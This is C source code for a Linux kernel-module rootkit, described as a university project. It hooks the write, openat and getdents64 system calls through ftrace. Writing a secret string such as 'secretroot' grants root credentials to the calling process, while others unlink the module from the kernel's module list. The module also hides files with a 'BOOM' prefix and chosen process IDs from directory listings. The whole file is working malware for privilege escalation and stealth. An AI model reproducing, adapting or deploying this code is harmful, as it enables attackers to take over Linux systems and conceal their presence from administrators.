232 lines
5.2 KiB
C
232 lines
5.2 KiB
C
|
// LKM_rootkit
|
||
|
// Copyright © 2021 Volodymyr Patuta
|
||
|
//
|
||
|
// This program is free software: you can redistribute it and/or modify
|
||
|
// it under the terms of the GNU General Public License as published by
|
||
|
// the Free Software Foundation, either version 3 of the License, or
|
||
|
// (at your option) any later version.
|
||
|
//
|
||
|
// This program is distributed in the hope that it will be useful,
|
||
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
|
// GNU General Public License for more details.
|
||
|
//
|
||
|
// You should have received a copy of the GNU General Public License
|
||
|
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||
|
|
||
|
#include <linux/kernel.h>
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/dirent.h>
|
||
|
|
||
|
#include "fthook.h"
|
||
|
|
||
|
MODULE_LICENSE("GPL");
|
||
|
MODULE_AUTHOR("Volodymyr Patuta");
|
||
|
MODULE_DESCRIPTION("University project");
|
||
|
MODULE_VERSION("0.0.1");
|
||
|
|
||
|
unsigned int target_fd = 0;
|
||
|
unsigned int target_pid = 0;
|
||
|
static asmlinkage long (*orig_sys_openat)(struct pt_regs *);
|
||
|
static asmlinkage long (*orig_sys_write)(struct pt_regs *);
|
||
|
static asmlinkage long (*orig_sys_getdents64)(struct pt_regs *);
|
||
|
static int make_me_root(void);
|
||
|
static void hide(void);
|
||
|
static void unhide(void);
|
||
|
struct list_head *list;
|
||
|
static int is_hidden = 0;
|
||
|
static const char *hide_prefix = "BOOM";
|
||
|
const int hide_prefix_len = 4;
|
||
|
char given_pid[200];
|
||
|
static char hidden_pid[200][200];
|
||
|
static int hidden_pids = 0;
|
||
|
|
||
|
static asmlinkage long fh_sys_getdents64(struct pt_regs *regs)
|
||
|
{
|
||
|
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
|
||
|
struct linux_dirent64 *prev_dir, *current_dir, *orig = NULL;
|
||
|
unsigned long offset = 0;
|
||
|
long err;
|
||
|
|
||
|
int ret = orig_sys_getdents64(regs);
|
||
|
orig = kzalloc(ret, GFP_KERNEL);
|
||
|
|
||
|
if (ret <= 0 || orig == NULL) {
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
err = copy_from_user(orig, dirent, ret);
|
||
|
if (err) {
|
||
|
kfree(orig);
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
while (offset < ret) {
|
||
|
current_dir = (void *)orig + offset;
|
||
|
if ((memcmp(given_pid, current_dir->d_name, strlen(given_pid)) == 0) &&
|
||
|
(strncmp(given_pid, "", NAME_MAX) != 0)) {
|
||
|
if (current_dir == orig) {
|
||
|
ret -= current_dir->d_reclen;
|
||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||
|
continue;
|
||
|
}
|
||
|
prev_dir->d_reclen += current_dir->d_reclen;
|
||
|
}
|
||
|
if (memcmp(hide_prefix, current_dir->d_name, hide_prefix_len) == 0) {
|
||
|
if (current_dir == orig) {
|
||
|
ret -= current_dir->d_reclen;
|
||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||
|
continue;
|
||
|
}
|
||
|
prev_dir->d_reclen += current_dir->d_reclen;
|
||
|
} else {
|
||
|
prev_dir = current_dir;
|
||
|
}
|
||
|
|
||
|
offset += current_dir->d_reclen;
|
||
|
}
|
||
|
err = copy_to_user(dirent, orig, ret);
|
||
|
if (err) {
|
||
|
kfree(orig);
|
||
|
return ret;
|
||
|
}
|
||
|
kfree(orig);
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
static asmlinkage long fh_sys_openat(struct pt_regs *regs)
|
||
|
{
|
||
|
long ret;
|
||
|
struct task_struct *task;
|
||
|
task = current;
|
||
|
|
||
|
if (strncmp((char *)regs->si, "/dev/null", 15) == 0) {
|
||
|
ret = orig_sys_openat(regs);
|
||
|
target_fd = ret;
|
||
|
target_pid = task->pid;
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
ret = orig_sys_openat(regs);
|
||
|
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
static asmlinkage long fh_sys_write(struct pt_regs *regs)
|
||
|
{
|
||
|
|
||
|
struct task_struct *task;
|
||
|
task = current;
|
||
|
if (task->pid == target_pid) {
|
||
|
if (regs->di == 1 || regs->di == target_fd) {
|
||
|
char __user *buf = (char *)regs->si;
|
||
|
if (strncmp(buf, "secretroot", 10) == 0) {
|
||
|
make_me_root();
|
||
|
} else if (strncmp(buf, "secrethideme", 12) == 0) {
|
||
|
hide();
|
||
|
} else if (strncmp(buf, "secretreveal", 12) == 0) {
|
||
|
unhide();
|
||
|
} else if (strncmp(buf, "secrethide$", 11) == 0) {
|
||
|
given_pid[0] = '\0';
|
||
|
strncat(given_pid, buf + 11, strlen(buf + 11) - strlen(strrchr(buf, '$')));
|
||
|
printk(KERN_DEBUG "rootkit: buf [%s]\n", given_pid);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
return orig_sys_write(regs);
|
||
|
}
|
||
|
|
||
|
static struct ftrace_hook hooks[] = {
|
||
|
HOOK("sys_write", fh_sys_write, &orig_sys_write),
|
||
|
HOOK("sys_openat", fh_sys_openat, &orig_sys_openat),
|
||
|
HOOK("sys_getdents64", fh_sys_getdents64, &orig_sys_getdents64),
|
||
|
};
|
||
|
|
||
|
static int make_me_root(void)
|
||
|
{
|
||
|
struct pid *proc_pid;
|
||
|
struct task_struct *task;
|
||
|
struct cred *new_cred;
|
||
|
kuid_t kuid;
|
||
|
kgid_t kgid;
|
||
|
// printk(KERN_ERR "BOOM! [%llu]\n", val);
|
||
|
|
||
|
proc_pid = find_vpid(target_pid);
|
||
|
if (proc_pid == NULL) {
|
||
|
printk(KERN_ERR "ERR find_vpid()\n");
|
||
|
return 1;
|
||
|
}
|
||
|
|
||
|
task = pid_task(proc_pid, PIDTYPE_PID);
|
||
|
if (task == NULL) {
|
||
|
printk(KERN_ERR "ERR pid_task()\n");
|
||
|
return 2;
|
||
|
}
|
||
|
|
||
|
kuid = KUIDT_INIT(0);
|
||
|
kgid = KGIDT_INIT(0);
|
||
|
|
||
|
new_cred = prepare_creds();
|
||
|
if (new_cred == NULL) {
|
||
|
printk(KERN_ERR "ERR prepare_creds()\n");
|
||
|
return 3;
|
||
|
}
|
||
|
|
||
|
new_cred->uid = kuid;
|
||
|
new_cred->gid = kgid;
|
||
|
new_cred->euid = kuid;
|
||
|
new_cred->egid = kgid;
|
||
|
|
||
|
commit_creds(new_cred);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
static void hide(void)
|
||
|
{
|
||
|
if (is_hidden) {
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
list = THIS_MODULE->list.prev;
|
||
|
|
||
|
list_del(&THIS_MODULE->list);
|
||
|
|
||
|
is_hidden = 1;
|
||
|
}
|
||
|
|
||
|
static void unhide(void)
|
||
|
{
|
||
|
if (!is_hidden) {
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
list_add(&THIS_MODULE->list, list);
|
||
|
|
||
|
is_hidden = 0;
|
||
|
}
|
||
|
|
||
|
static int __init boom_init(void)
|
||
|
{
|
||
|
int err;
|
||
|
|
||
|
pr_info("BOOM\n");
|
||
|
|
||
|
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
|
||
|
if (err)
|
||
|
return err;
|
||
|
// hide();
|
||
|
|
||
|
pr_info("module loaded\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
static void __exit boom_exit(void)
|
||
|
{
|
||
|
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
|
||
|
pr_info("Psshhh\n");
|
||
|
}
|
||
|
|
||
|
module_init(boom_init);
|
||
|
module_exit(boom_exit);
|